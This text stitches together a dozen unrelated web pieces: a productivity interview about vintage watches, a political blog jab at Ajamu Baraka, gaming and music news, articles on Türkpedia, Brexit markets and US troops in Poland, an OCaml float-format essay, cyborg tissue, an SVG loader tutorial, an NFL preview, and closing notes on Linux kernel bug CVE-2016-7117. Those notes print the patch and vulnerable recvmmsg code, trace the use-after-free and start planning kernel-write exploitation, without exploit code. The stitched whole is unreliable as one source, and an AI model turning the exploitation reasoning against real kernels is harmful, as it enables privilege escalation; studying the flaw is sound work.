Here’s a boring, but meaningful one for me... I’ve really come to enjoy Instagram. I use it differently than most though. For me it’s an educational platform. I’m really into collecting vintage watches, and there’s a vibrant vintage watch community on Instagram. I’ve learned a ton from seeing so many different watches in such a short period of time. I can’t imagine how I’d have ever learned so much so quickly any other way. I’ve also met some really wonderful people this way.
Advertisement
What’s your workspace setup like?
I work half from home and half from our office. At work we have standing desks. At home I work from a table, but I can also shift to working on one of the shelves on a deep bookcase that’s perfect for standing height.
I’m a one-computer guy—a 12" MacBook, so I can work from anywhere. Years ago I used multiple monitors and had multiple computers. Then I jettisoned multiple computers but kept the multiple monitor setup. And a few years ago I tossed out the second monitor and have been a single computer, single screen person since then. I go full screen on nearly every app. I also hide my dock. I don’t want anything pulling my attention away. When I’m curious I’ll look. Otherwise, I’m looking at what I want, not what someone else might want me to see.
I can’t stress this enough—protect your attention like you protect your friends, family, money, etc. It’s among the most valuable things you have.
What’s your best time-saving shortcut or life hack?
Saying no. Techniques and hacks are all about managing what happens when you say yes to too many things. All the techniques and hacks in the world never add up to the power of no. Having fewer things to do is the best way to get things done. I’m very careful with my time and attention—it’s my most precious resource. If you don’t have that, you can’t do what you want to do. And if you can’t do what you want to do, what’s the point?
Advertisement
What’s your favorite to-do list manager?
I don’t track to-dos. I have a small handful of things I know I need to do every day. If I can’t keep them in my head, I have too many things to do. Every day is a blank slate for what I need to do. If something I was supposed to get done yesterday didn’t get done yesterday, it’s not automatically on my mind for today. Today’s mind is a clear mind, not yesterday’s remnants.
Besides your phone and computer, what gadget can’t you live without and why?
I’m a vintage watch nerd, so I feel naked without an old watch on my wrist. We live in such a temporary culture that it’s nice to be reminded multiple times a day that things can be built to last. Right now I’m wearing an old Longines dive watch from the ‘60s. It’s nearly 60 years old, and it still works. And should for the next 60 years. That’s saying something.
Advertisement
What everyday thing are you better at than everyone else? What’s your secret?
I’d like to think it’s making a great cup of Japanese green tea. Certainly there are people who do it better, but most people either boil the water too hot, steep the tea too long, or use crap tea that tastes bitter and turns people off of tea. The proper amount of Japanese sencha at around 170 degrees, steeped in the right amount of water in the right vessel for about 45 seconds without agitation, is really a delight. I’ll make you one.
What do you listen to while you work? Got a favorite playlist? Maybe talk radio? Or do you prefer silence?
I have to have some sound in the background, but the more I can tune it out the better. Can’t be people talking, because then I listen to the conversation. Music, white noise, a loud air conditioner, something. I have tinnitus (my ears ring), so whatever I can do to drown that out, without being interrupted otherwise, is key. Lately I’ve just been playing random playlists on Spotify to broaden my horizons a bit. If left to my own devices, I’d play bebop-era jazz just about all the time.
Advertisement
What are you currently reading? A novel, comic book, website, magazine? Or what’s something you’d recommend?
My favorite site to read these days is HODINKEE.com, a site about watches. I’m into the subject matter, but the writing is really top notch. Jack Forster, the editor-in-chief over there, is one of the best writers anywhere. Deep knowledge made accessible. Poetic, fun, a real gymnast with words. There’s great rhythm in his writing. The guy respects writing and it comes through in everything he does. Highly recommended, even if you aren’t into watches.
How do you recharge? What do you do when you want to forget about work?
It’s easy for me to forget about work. I work about 40 hours a week, and I strongly encourage everyone at Basecamp to do the same. Forty hours is enough when you actually have 40 hours to use for your work, versus showing up for 40 or 50 or 60+ but only having 15 or 20 to yourself. When I’m done, I’m done. Some ideas linger—stuff I’m chewing on, ideas I’m rolling around—but those happen in the background. They aren’t active work.
Advertisement
I have dinner with my wife, not my work. I go to sleep with my wife, not my work. First thing in the morning, I get my kid, not my work. When it’s time to work, I focus. But when it’s over, it’s gotta go. But when I do need to recharge, I hit nature—the woods, botanical gardens, anywhere I can take a walk around something green.
What’s your sleep routine like? Are you a night owl or early-riser?
~8 hours a night. Neglecting sleep is a terrible mistake. It’s the one debt you can never pay off, and it affects everyone around you, too. I go to sleep around 10ish, and get up around 6ish—either to the sun or to my son. I used to go to bed a bit later and sleep until 7:30 or so, but since having a kid (he’s 2ish now), he’s the alarm clock. Since he’s getting up around 6ish these days, I make sure I’m in bed about 8 hours earlier. As far as an actual alarm clock—I haven’t used one in 10 years. I never schedule anything that would require me to be up before my natural wake-up time, so I just get up naturally. Forcing yourself awake at an arbitrary time is a good way to have a shitty morning.
Advertisement
For a while I was using a wristband thing that would wake you up within a window based on body movement and that was pretty good, but I still prefer getting up when my eyes open and I’m ready to get out of bed. It’s always early enough anyway.
Fill in the blank: I’d love to see _________ answer these same questions.
A 10-year-old (with the word ‘work’ removed from some of the questions).
What’s the best advice you’ve ever received?
I’ve received so much great advice from so many great people, but one that comes up over and over for me is something my dad told me: “If you don’t ask, you don’t get.” Such a simple rule. If you want something, ask for it. If you want someone to buy something you’re selling, ask them to buy it. If you want someone’s help in spreading the word, ask them to spread the word. The worst thing isn’t that they say no—the worst thing is that they would have done something for you if you’d only asked.
Advertisement
While I’m on the topic of dad advice, another one he shared with me that always sticks with me is, “No one ever went broke taking a profit.” That’s core to how we run our business. Basecamp has been in business for 17 years, and profitable all 17.
Is there anything else you’d like to add that might be interesting to readers and fans?
How about this... What do readers want to know? Let’s compile 100 questions and I’ll answer all 100 in a single shot for a future article.
Advertisement |
Green party presidential nominee Jill Stein has reportedly picked a vice presidential nominee. And boy does he hate Bernie Sanders.
Stein has reportedly settled on self-proclaimed “human rights activist, organizer and geo-political analyst” Ajamu Baraka.
And Baraka is no fan of Bernie.
Here is what Baraka had to say about Sanders last September. (Trigger warning: Much of what follows is barely comprehensible — Baraka is not a fan of punctuation.)
In their desperate attempt to defend Sanders and paint his critics as dogmatists and purists, the Sanders supporters have not only fallen into the ideological trap of a form of narrow “left” nativism, but also the white supremacist ethical contradiction that reinforces racist cynicism in which some lives are disposable for the greater good of the West. And as much as the ‘Sandernistas ’ attempt to disarticulate Sanders “progressive” domestic policies from his documented support for empire (even the Obamaite aphorism “The perfect is the enemy of the good” is unashamedly deployed), it should be obvious that his campaign is an ideological prop – albeit from a center/left position – of the logic and interests of the capitalist-imperialist settler state. The silence of the left on Yemen is not a trivial matter. The fact that so many white leftist supporters of Sanders can politically and psychologically disconnect his domestic program from his foreign policy positions that objectively support U.S. and Western neoliberal hegemony means that not only have they found a way to be comfortable collaborating with imperialism, but that they have also decided that they can support the implicit hierarchy that determines from an imperial perspective that lives in the White West matter more than others.
Yes, that last bit was one sentence.
Oh, and the good news from Baraka — not every Bernie supporter is a racist:
This is not to suggest that everyone who might find a way to support Sanders is a closet racist and supporter of imperialism. I know plenty of folks of all backgrounds who “feel the Bern.” There is, however, an objective logic to their uncritical support that they cannot escape and which I believe represents the ongoing crisis of radicalism in the U.S. and Europe.
Baraka went on to refer to the United States as:
“This corrupt, degenerate, white supremacist monstrosity called the United States.”
He seems nice.
Follow me on Twitter: @aravosis |
Waleed (aka RedDraXon) located 15 images named “Prestige-Image-1” all the way through “Prestige-Image-15” when ELiTE was updated last night. Still no confirmation on what order they will be and also it’s still unclear if one of them is the “Prestige Master” emblem or if 11-15 are place holders or clan related. All we can confirm is that the images were labeled “1-15”.
UPDATE: Just to clarify for some folks who don’t know what “place holder” means. Emblems 12-15 are from the original Black Ops (we thought most people would know), we’re not sure why they’re there, it’s possibly just in case they decide to add more Prestiges levels later on. Emblem “11” on the other hand…
Rumored “ Prestige Master ” emblem:
[nggallery id=415]
UPDATE: callofdutyseries.de have located Zombie Emblems & League Emblems Via @BlackHawkLex
*Click to enlarge
*Click to enlarge
SOURCE: ELiTE Via Waleed (RedDraXon) |
History goes online with a new project
ISTANBUL - Anadolu Agency
The TTK president speaks about the new project. AA photo
The Turkish History Foundation (TTK) is preparing an online encyclopedia named Türkpedia, which will include all kinds of information, photos and visuals about Turks. Türkpedia will be available in English and Russian.TTK president Metin Hülagü said with the project everything about Turkish history and culture would be explained. “All times and places where Turks have lived will be included in Türkpedia.Hülagü said Türkpedia would be like the international source of information Wikipedia but it would include information about Turks only.He said visuals were also very important to the website and 26,000 photos relating to topics such as World War I, the Middle East, the Ottomans, the War of Independence and Atatürk would be transferred to the website as well as 1,800 manuscripts.Hülagü also said users would be able to access photos taken in the beginning of the 1900s, adding that they were also making a film on the Ottoman admiral Piri Reis. He also called for those who have historical sources to give them to TTK for the Türkpedia project. |
As global markets reel after an establishment-rattling vote by Britain to sever ties with Europe, investors are again expecting central banks to ride to the rescue.
And that may be the problem.
Or so believe a number of investors and economists who worry that another round of central bank intervention in the markets will compound the sense of alienation, frustration and anger at global elites that encouraged a majority of Britons to opt for leaving the European Union.
Traditionally, market participants have tended to cheer central bank activism.
In times of financial panic, wholesale bond buying, negative interest rates and disbursing cash directly to consumers (the yet-to-be-deployed weapon in the central banker’s armory) have been seen as easy policy substitutes for governments unwilling or incapable of taking action themselves.
But, as the world’s leading central bankers finished a weekend of brainstorming in Basel, Switzerland, as to what their next move might be, some feared that this time around they might do more harm than good. |
Polish leaders declared themselves alone no longer at a ceremony Saturday welcoming the arrival of U.S. troops as part of a deployment that has angered Russia.
The presence of U.S. troops on Polish soil marks a historic moment—the first time Western forces are being deployed on a continuous basis to bolster NATO’s eastern flank.
“"We have waited for you for a very long time,” the soliders heard Defense Minister Antoni Macierewicz say at Saturday’s event in Zagan amid falling snow. “We waited for decades, sometimes feeling we had been left alone, sometimes almost losing hope, sometimes feeling that we were the only one who protected civilization from aggression that came from the east.”
The event also drew hundreds of ordinary Poles.
The American deployment includes an armored brigade of 3,500 American troops from Fort Carson, Colorado. It comes in reactions to Russia's annexation of Crimea from Ukraine in 2014 and its backing of separatist insurgents in Ukraine's east.
Those actions have frightened many in Poland, the Baltic states and other countries in Eastern Europe that were once under Moscow's control.
“This is America's most capable fighting force: a combat-ready, highly trained US armoured brigade, with our most advanced equipment and weaponry,” U.S. ambassador to Poland Paul James said at the ceremonies, according to an AFP report.
"This force embodies America's iron-clad commitment to honor our NATO treaty obligation to defend our NATO allies."
The Polish government organized several other events across the country, including in downtown Warsaw, to welcome the Americans.
“This is an important day for Poland, for Europe, for our common defense,” Prime Minister Beata Szydlo told the U.S. soldiers.
The troops are due to fan out across seven countries from Estonia to Bulgaria for exercises. A headquarters unit will be stationed in Germany. After nine months they will be replaced by another unit.
NATO will also deploy four multinational battalions to its eastern flank later this year, one each to Poland and the three Baltic states. The U.S. will also lead one of those battalions.
The Kremlin has denounced all these deployments, saying it considers them a threat to its own security and interests.
One of the newly arrived Americans M.P Peter Gomez told AFP he felt “very welcome” as he posed for selfies with Polish citizens.
“I'm surprised actually,” he was quoted as saying. “People are very excited to see us.”
The Associated Press contributed to this report. |
By pascal on Thursday, May 9 2013, 21:39 - Permalink
The OCaml runtime
The OCaml runtime allows polymorphism through the uniform representation of types. Every OCaml value is represented as a single word, so that it is possible to have a single implementation for, say, “list of things”, with functions to access (e.g. List.length ) and build (e.g. List.map ) these lists that work just the same whether they are lists of ints, of floats, or of lists of sets of integers.
Anything that does not fit in in a word is allocated in a block in the heap. The word representing this data is then a pointer to the block. Since the heap contains only blocks of words, all these pointers are aligned: their few least significants bits are always unset.
Argumentless constructors (like this: type fruit = Apple | Orange | Banana ) and integers do not represent so much information that they need to be allocated in the heap. Their representation is unboxed. The data is directly inside the word that would otherwise have been a pointer. So while a list of lists is actually a list of pointers, a list of ints contains the ints with one less indirection. The functions accessing and building lists do not notice because ints and pointers have the same size.
Still, the Garbage Collector needs to be able to recognize pointers from integers. A pointer points to a well-formed block in the heap that is by definition alive (since it is being visited by the GC) and should be marked so. An integer can have any value and could, if precautions were not taken, accidentally look like a pointer. This could cause dead blocks to look alive, but much worse, it would also cause the GC to change bits in what it thinks is the header of a live block, when it is actually following an integer that looks like a pointer and messing up user data.
This is why unboxed integers provide 31 bits (for 32-bit OCaml) or 63 bits (for 64-bit OCaml) to the OCaml programmer. In the representation, behind the scenes, the least significant bit of a word containing an integer is always set, to distinguish it from a pointer. 31- or 63-bit integers are rather unusual, so anyone who uses OCaml at all knows this. What users of OCaml do not usually know is why there isn't a 63-bit unboxed float type for 64-bit OCaml.
There is no unboxed 63-bit floating-point type in OCaml
And the answer to this last question is that there is no particular reason one shouldn't have a 63-bit unboxed float type in OCaml. Defining one only requires carefully answering two more intricately related questions:
What 63-bit floating-point format should be used?
How will the OCaml interpreter compute values in this format?
In 1990, when 64-bit computers were few, Xavier Leroy decided that in his (then future) Caml-light system, the type for floating-point would be 64-bit double precision. The double precision floating-point format did not come close to fitting in the then-prevalent 32-bit word:
Floating-point numbers are allocated in the heap as unstructured blocks of length one, two or three words, depending on the possibilities of the hardware and on the required precision. An unboxed representation is possible, using the 10 suffix for instance, but this gives only 30 bits to represent floating-point numbers. Such a format lacks precision, and does not correspond to any standard format, so it involves fairly brutal truncations. Good old 64-bit, IEEE-standard floating point numbers seem more useful, even if they have to be allocated.
First, a remark: it is not necessary to distinguish floats from ints: that is what the static type-system is for. From the point of view of the GC they are all non-pointers, and that's the only important thing. So if we decide to unbox floats, we can take advantage of the same representation as for integers, a word with the least significant bit set. And nowadays even the proverbial grandmother has a 64-bit computer to read e-mail on, hence the temptation to unbox floats.
Second, the reticence to truncate the mantissa of any existing format remains well-founded. Suppose that we defined a format with 51 explicit mantissa bits as opposed to double-precision's 52. We could use the double-precision hardware for computations and then round to 51 bits of mantissa, but the sizes are so close that this would introduced plenty of double rounding errors, where the result is less precise than if it had been rounded directly to 51 bits. As someone who has to deal with the consequences of hardware computing 64-bit mantissas that are then rounded a second time to 52-bit, I feel dirty just imagining this possibility. If we went for 1 sign bit, 11 exponent bits, 51 explicit mantissa bits, we would have to use software emulation to round directly to the correct result.
This post is about another idea to take advantage of the double-precision hardware to implement a 63-bit floating-point type.
A truncationless 63-bit floating-point format
Borrow a bit from the exponent
Taking one of the bits from the 11 reserved for the exponent in the IEEE 754 double-precision format does not have such noticeable consequences. At the top of the scale, it is easy to map values above a threshold to infinity. This does not involve double-rouding error. At the bottom of the scale, things are more complicated. The very smallest floating-point numbers of a proper floating-point format, called subnormals, have an effective precision of less than the nominal 52 bits. Computing with full-range double-precision and then rounding to reduced-range 63-bit means that the result of a computation can be computed as a normal double-precision number with 52-bit mantissa, say 1.324867e-168, and then rounded to the narrower effective precision of a 63-bit subnormal float.
Incidentally, this sort of issue is the sort that remains even after you have configured an x87 to use only the 53 or 24 mantissa bits that make sense to compute with the precision of double- or single-precision. Only the range of the mantissa is reduced, not that of the exponent, so numbers that would be subnormals in the targeted type are normal when represented in a x87 register. You could hope to fix them after each computation with an option such as GCC's -ffloat-store, but then they are double-rounded. The first rounding is at 53 or 24 bits, and the second to the effective precision of the subnormal.
Double-rounding, Never!
But since overflows are much easier to handle, we can cheat. In order to make sure that subnormal results are rounded directly to the effective precision, we can bias the computations so that if the result is going to be a 63-bit subnormal, the double-precision operation produces a subnormal result already.
In practice, this means that when the OCaml program is adding numbers 1.00000000001e-152 and -1.0e-152, we do not show these numbers to the double-precision hardware. What we show to the hardware instead is these numbers multiplied by 2^-512, so that if the result need to be subnormal in the 63-bit format, and in this example, it needs, then a subnormal double-precision will be computed with the same number of bits of precision.
In fact, we can maintain this “store numbers as 2^-512 times their intended value” convention all the time, and only come out of it at the time of calling library functions such as printf() .
For multiplication of two operands represented as 2^-512 times their real value, one of the arguments needs to be unbiased (or rebiased: if you have a trick to remember which is which, please share) before the hardware multiplication, by multiplying it by 2^512.
For division the result must be rebiased after it is computed.
The implementation of the correctly-rounded function sqrt() for 63-bit floats is left as an exercise to the reader.
Implementation
A quick and dirty implementation, only tested as much as shown, is available from ideone. Now I would love for someone who actually uses floating-point in OCaml to finish integrating this in the OCaml runtime and do some benchmarks. Not that I expect it will be very fast: the 63-bit representation involves a lot of bit-shuffling, and OCaml uses its own tricks, such as unboxing floats inside arrays, so that it will be hard to compete.
Credits
I should note that I have been reading a report on implementing a perfect emulation of IEEE 754 double-precision using x87 hardware, and that the idea presented here was likely to be contained there. Google, which is prompt to point to the wrong definition of FLT_EPSILON, has been no help in finding this report again. |
News
Update: Daft Punk spotted on the MTV VMA red carpet, check out the photos.
Update update: Daft Punk present ‘Best Female Music Video’ award.
Bubbling blondes Nervo and global superstar Zedd have both announced that they will be joining Daft Punk and Grimes at this years MTV Video Music Awards but not without sacrifice. The Nervo sisters and Zedd have both told their fans through social media that they have had to give up their appearance at this years edition of British Dance Music Festival Creamfields to make the awards.
Both acts have been replaced, with fellow dance producer Nicky Romero playing an extended two hour time slot on the Saturday in place of Nervo and Major Look (No, not Lazer) taking on Zedds duties.
The cancellations follow Daft Punks own debacle who nulled their appearance on The Colbert Report, and although sad news for British dance fans actually shows how ridiculous this years edition of MTV’s awards broadcast will be.
Is it weird to think we’re more excited about what will Grimes will get up to on the red carpet after her spectacular troll of Boiler Room? |
Bioengineers at Harvard University have created the first examples of cyborg tissue: Neurons, heart cells, muscle, and blood vessels that are interwoven by nanowires and transistors.
These cyborg tissues are half living cells, half electronics. As far as the cells are concerned, they’re just normal cells that behave normally — but the electronic side actually acts as a sensor network, allowing a computer to interface directly with the cells. In the case of cyborg heart tissue, the researchers have already used the embedded nanowires to measure the contractions (heart rate) of the cells.
To create cyborg flesh, you start with a three-dimensional scaffold that encourages cells to grow around them. These scaffolds are generally made of collagen, which makes up the connective tissue in almost every animal. The Harvard engineers basically took normal collagen, and wove nanowires and transistors into the matrix to create nanoelectric scaffolds (nanoES). The neurons, heart cells, muscle, and blood vessels were then grown as normal, creating cyborg tissue with a built-in sensor network.
So far the Havard team has mostly grown rat tissues, but they have also succeeded in growing a 1.5-centimeter (0.6in) cyborg human blood vessel. They’ve also only used the nanoelectric scaffolds to read data from the cells — but according to lead researcher Charles Lieber, the next step is to find a way of talking to the individual cells, to “wire up tissue and communicate with it in the same way a biological system does.”
Suffice it to say, if you can use a digital computer to read and write data to your body’s cells, there are some awesome applications. If you need a quick jolt of adrenaline, you would simply tap a button on your smartphone, which is directly connected to your sympathetic nervous system. You could augment your existing physiology with patches — a patch of nanoelectric heart cells, for example, that integrates with your heart and reports back if you experience any problems. When we eventually put nanobots into our bloodstream, small pulses of electricity emitted by the cells could be used as guidance to damaged areas. In the case of blood vessels and other organs, the nanoelectric sensor network could detect if there’s inflammation, blockage, or tumors.
Realistically, though, we’re a long way away from such applications. In the short term, though, these cyborg tissues could be used to create very accurate organs-on-a-chip — lab-grown human organs that are encased within computer chips and then used to test drugs or substance toxicity, without harming a single bunny or bonobo.
Read: Nanotech: will it kill us all?, and Stanford’s wireless, implantable “Innerspace” medical device
Research paper: doi:10.1038/nmat3404 (paywalled) |
An elastic SVG progress loader based on the Dribbble shot "Download" by xjw and implemented with SVG and TweenMax.
View demo Download source
Today we’d like to share an interesting progress button effect with you. The effect is based on a very nice Dribbble shot called “Download” by xjw. The button starts as an icon with an arrow and once it’s clicked, it animates into a fun little wire and a label that indicates the download percentage. Take a look:
In this article, we’ll take a look at some aspects of what is needed to make an animation like this, some techniques, and some challenges we might face up.
If you would like to use this loader in your project, go to the Github page and follow the instructions.
Technology
The first thing we have to decide is which browser technology we will use to make and render the effect.
It would be possible for the most part to make this animation with CSS. The problem is that it doesn’t offer much flexibility – drawing a curve, for example, can be hard, if not impossible, to get it exactly how we want it to be. On top of that, it can be pretty hacky – we have to rely on faking shapes with clever tricks, and that can get confusing and ugly.
Canvas can be a good option. We can draw any shape we want on it, and the performance, if you’re careful, is very good, even on mobile. It can be difficult to use though, especially if you’re not using a library like Paper.js. Moreover, it is pretty much a black box in the eyes of the browser – it just sees it as an image and ignores its contents.
Our other option here is SVG. It does have its drawbacks: it’s not currently hardware accelerated, which makes the performance less than stellar. It’s also quite old and, as a result, full of quirks. However, it’s pretty flexible, easy to load on a project, and the browser treats each of its elements like a DOM object, which makes it better suited for interaction.
Besides, its drawbacks can be alleviated: The performance is not too bad if we are animating small objects, and many of the quirks are sorted out by GSAP, which is the animation library we are going to be using. Besides being a very good animation library, it provides tools to make it much easier to deal with SVGs in general. We’ll see more on that later.
Planning the SVG
When we create an SVG for animating, we have to make everything thinking on how we will animate it later. This, we have to take extra care with things like layer names, vertices, and so on.
This is how I organized the layers in this example. I’m using Adobe Illustrator, but it should be pretty similar in the editor of your choice.
The important thing to take out here, besides naming, is grouping. If you intent to animate certain elements together, you should collect them in the same layer to avoid having to run the same animation twice for different objects.
Now, since in this demo we are animating vertices individually, we should take care of them as well.
For the elastic animation we want to achieve, we need a line with a smooth curve point in the middle. However, we also want the round button to transform into the line, so we need a line that accommodates both shapes, with the lowest number of vertices possible, in order to make it easy to animate.
This is a not-perfect-but-good-enough-for-animation circle with 3 vertices, that we can open up to turn into our elastic thing.
We can turn that loose curve into its more tense shape by just keeping the bezier control points close to the vertices.
All this is just an example. Your requirements will vary depending on the animation you want to make. What’s important is, when you are making the graphics, to think about how you will animate them.
Manipulating
First, you need to load the SVG in a way you can manipulate it with JS. You can paste it directly into the HTML, you can load it using AJAX or a library like Snap.svg, or what have you.
Animating SVG elements with GSAP is pretty simple. After you select the element…
var circle= document .querySelector( "#background" );
…you can just animate properties like x , y , and scale that it will generate the proper transform .
TweenMax.to(circle, 1 ,{ scale: 0.1 })
For things that aren’t transform , you just use the attr property:
TweenMax.to(circle, 1 ,{ attr:{ "stroke-width" : 4 } })
For our animation, something that will come in handy is GSAP’s elastic easing, which is configurable by its easeParams property.
See the Pen GSAP’s Elastic easeParams demonstration by Lucas Bebber (@lbebber) on CodePen
Another very useful thing that it does is to smooth out browser inconsistencies on transformOrigin for SVGs.
TweenMax.to(circle, 1 ,{ transformOrigin: "50% 50%" , scale: 0.1 })
Since I’m talking about browser problems: as of now, Firefox throws an error if you try to animate or set a property, like transformOrigin , of a hidden object. Be sure to set the object’s display property to inline instead of none before changing anything else.
Animating Vertices
There are a number of tools you can use to select and animate individual SVG vertices, like Snap.svg I mentioned before. In this demo, I used svg-pathdata. It receives an SVG path string – the d attribute of a path element, which contains information about the path’s shape – and returns an array of commands , which are the the individual points. You can then change the values as you like, then parse the array back to an SVG path string and apply it back to the d attribute.
It looks a bit confusing, but it’s pretty simple once you wrap your head around it. Here’s an example:
var line= document .querySelector( '#line path' ); var d=line.getAttribute( 'd' ); var pathData= new SVGPathData(d).toAbs(); var points=pathData.commands; var middlePoint=points[ 1 ]; TweenTo(middlePoint, 1 ,{ y: 0 , y1: 0 , onUpdate:updatePath, onComplete:updatePath }); function updatePath () { line.setAttribute( 'd' ,pathData.encode()); }
To animate multiple vertices of the same path, in order to avoid updating the path multiple times, keep the onUpdate function on a separate tween.
Tween.to(points[ 0 ], 1 ,{ x:- 100 }); Tween.to(points[ 1 ], 1 ,{ x: 0 }); Tween.to(points[ 2 ], 1 ,{ x: 100 }); Tween.to( this , 1 ,{ onUpdate:updatePath }) ...
Interaction
If you want to make a button like this, you might want to avoid having the whole SVG, including the empty areas, clickable – you want only the button to be a button. Fortunately, the solution is easy.
For the container of the SVG, you set the following CSS property:
pointer-events : none;
Then, for the SVG element you want to be clickable, you set:
pointer-events : fill;
That can be done by JS, by the setAttribute function, or straight in the SVG file itself, either as a CSS rule, an attribute of the element, or on its style attribute.
A nice technique is to keep a separate transparent object on top of everything else only to be used as a hit area. That way, you can animate the objects beneath it with no problem.
Accessibility
Since this is not a proper button nor a proper progress bar, it’s invisible to screenreaders and everything else that relies on semantics. There are a couple of things we can do to mitigate this:
Set the container’s role attribute to button .
attribute to . To make it accessible with a keyboard, set the container’s tabindex attribute to 0 or greater and add a keyboard event that triggers click with the space and return keys.
attribute to 0 or greater and add a keyboard event that triggers click with the space and return keys. Even though in this demo the button visually turns into a progress bar, we should not change the role of an element. So, we create a separate progressbar element, put it out of the screen to make it invisible, and update it together with our animation.
Now that you have had some insight into the process of creating an animation like this, have a look at the whole source code and check out the instructions for integrating a button like this.
We hope you enjoyed this progress button and find it useful!
View demo Download source |
LAKE FOREST, Ill. — Chicago defensive tackle Henry Melton had some quick answers to the challenge facing the Bears on Sunday.
How do you stop Tim Tebow, who has been as effective as he has been unorthodox?
“Tackle him,” Melton said Thursday when asked about the 236-pound quarterback who has helped make option football a part of NFL lingo.
Tebow’s passing might not be precise or textbook, but his ability to take off running has led the Broncos to five consecutive victories.
Any secret plans?
“Sack him,” Melton said with a laugh. “We’ve got a couple things we’re working on to get him down. I’m not going to say too much. . . . I think we’re going to do something different than a lot of teams did. Tebow was running free on them.”
Playing in Denver’s high altitude against a quarterback who’s hot and also unpredictable makes Sunday’s game even more difficult for a Bears team struggling on offense.
Backup Caleb Hanie has thrown three interceptions in each of his two starts since Jay Cutler was knocked out with a broken thumb. And now versatile leading rusher Matt Forte is out with a sprained knee.
The Bears’ defense did OK last week in a frustrating 10-3 loss to the struggling Chiefs. The lone TD was a head-shaker: Linebacker Brian Urlacher and safety Chris Conte went up at the same time to bat down a Hail Mary pass from Tyler Palko at the end of the half and ended up knocking the ball to the Chiefs’ Dexter McCluster.
To end their two-game losing streak, the Bears must shake off the home loss, face a formidable Denver defense and also figure out how to corral Tebow, 6-1 this season.
“Whatever he’s doing, they’re winning games,” Urlacher said.
And for those who say Tebow’s style can be a bit ugly, his passes far from perfect, Urlacher responds with “Who cares?”
“I’ve never been part of an ugly win, I know that much,” Urlacher said. “I’ve been in some ugly losses, but ugly wins don’t exist.” |
Notes about CVE-2016-7117
It's hard to find information about this, so I started looking deeper.
The Register has some cursory information:
The first of these (CVE-2016-7117) lies in the kernel networking subsystem allowing remote attackers to execute arbitrary code in the context of the kernel.
("Another critical hole (CVE-2016-0758 ) allows installed apps to execute arbitrary code within the context of the kernel via an elevation of privilege vulnerability in the kernel ASN.1 decoder." sounds fun too…)
The Debian and Ubuntu bug trackers both describe this as "use after free in the recvmmsg exit path", which is a big hint. The Debian page lists 4.5.2-1 as the "Fixed Version", which was released in April. That page's changelog includes "net: Fix use after free in the recvmmsg exit path". And so I found this email from March from Arnaldo Carvalho de Melo, with a patch:
diff --git a/net/socket.c b/net/socket.c index c044d1e8508c..db13ae893dce 100644 --- a/net/socket.c +++ b/net/socket.c @@ -2240,31 +2240,31 @@ int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen, cond_resched(); } -out_put: - fput_light(sock->file, fput_needed); - if (err == 0) - return datagrams; + goto out_put; - if (datagrams != 0) { + if (datagrams == 0) { + datagrams = err; + goto out_put; + } + + /* + * We may return less entries than requested (vlen) if the + * sock is non block and there aren't enough datagrams... + */ + if (err != -EAGAIN) { /* - * We may return less entries than requested (vlen) if the - * sock is non block and there aren't enough datagrams... + * ... or if recvmsg returns an error after we + * received some datagrams, where we record the + * error to return on the next call or if the + * app asks about it using getsockopt(SO_ERROR). */ - if (err != -EAGAIN) { - /* - * ... or if recvmsg returns an error after we - * received some datagrams, where we record the - * error to return on the next call or if the - * app asks about it using getsockopt(SO_ERROR). - */ - sock->sk->sk_err = -err; - } - - return datagrams; + sock->sk->sk_err = -err; } +out_put: + fput_light(sock->file, fput_needed); - return err; + return datagrams; } SYSCALL_DEFINE5(recvmmsg, int, fd, struct mmsghdr __user *, mmsg, -- 2.5.0
This was merged and became 34b88a6 in the kernel repository.
This code is in __sys_recvmmsg ; it looks roughly like this (before the fix, at b6e4038, with irrelevant bits replaced with /* ... */ ):
Listing 1: net/socket.c:2169@b6e4038 int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct timespec *timeout) { int fput_needed, err, datagrams; struct socket *sock; struct mmsghdr __user *entry; struct compat_mmsghdr __user *compat_entry; struct msghdr msg_sys; struct timespec end_time; if (timeout && poll_select_set_timeout(&end_time, timeout->tv_sec, timeout->tv_nsec)) return -EINVAL; datagrams = 0; sock = sockfd_lookup_light(fd, &err, &fput_needed); if (!sock) return err; err = sock_error(sock->sk); if (err) goto out_put; entry = mmsg; compat_entry = (struct compat_mmsghdr __user *)mmsg; while (datagrams < vlen) { /* ... */ err = ___sys_recvmsg(sock, (struct user_msghdr __user *)entry, &msg_sys, flags & ~MSG_WAITFORONE, datagrams); if (err < 0) break; err = put_user(err, &entry->msg_len); ++entry; } if (err) break; ++datagrams; /* ... */ } out_put: fput_light(sock->file, fput_needed); if (err == 0) return datagrams; if (datagrams != 0) { /* * We may return less entries than requested (vlen) if the * sock is non block and there aren't enough datagrams... */ if (err != -EAGAIN) { /* * ... or if recvmsg returns an error after we * received some datagrams, where we record the * error to return on the next call or if the * app asks about it using getsockopt(SO_ERROR). */ sock->sk->sk_err = -err; } return datagrams; } return err; }
The old code calls sockfd_lookup_light , and doesn't always fput_light before it returns; the new code always calls fput_light . The email includes
And, as Dmitry rightly assessed, that is because we can drop the reference and then touch it when the underlying recvmsg calls return some packets and then hit an error, which will make recvmmsg to set sock->sk->sk_err, oops, fix it.
So, to demonstrate the use after free:
recvmmsg calls sockfd_lookup_light , which probably increases the refcount.
calls , which probably increases the refcount. recvmmsg calls recvmsg
calls recvmsg returns an real packet. datagrams is incremented from 0.
returns an real packet. is incremented from 0. recvmmsg calls recvmsg
calls recvmsg returns an error other than -EAGAIN .
returns an error other than . recvmmsg breaks to the end of the while
breaks to the end of the while fput_light is called, which decreases the refcount if it was increased above. Then the struct socket may be freed at any point.
is called, which decreases the refcount if it was increased above. Then the may be freed at any point. err != 0 , so we don't return datagrams
, so we don't datagrams != 0 , and err != -EAGAIN , so we do sock->sk->sk_err = -err . This sock may have been freed after fput_light , so this is a use after free.
Questions:
How do we make recvmsg error for the second packet?
error for the second packet? For a use-after-free, we need that to actually have been freed. How do we do that?
Ultimately we want to get the allocation that takes the place where sock was, fill in the sk pointer, and get the kernel to write to a place we choose. Is that realistic?
I'm going to think about this first from the perspective of a local user, since remote exploitation seems much harder.
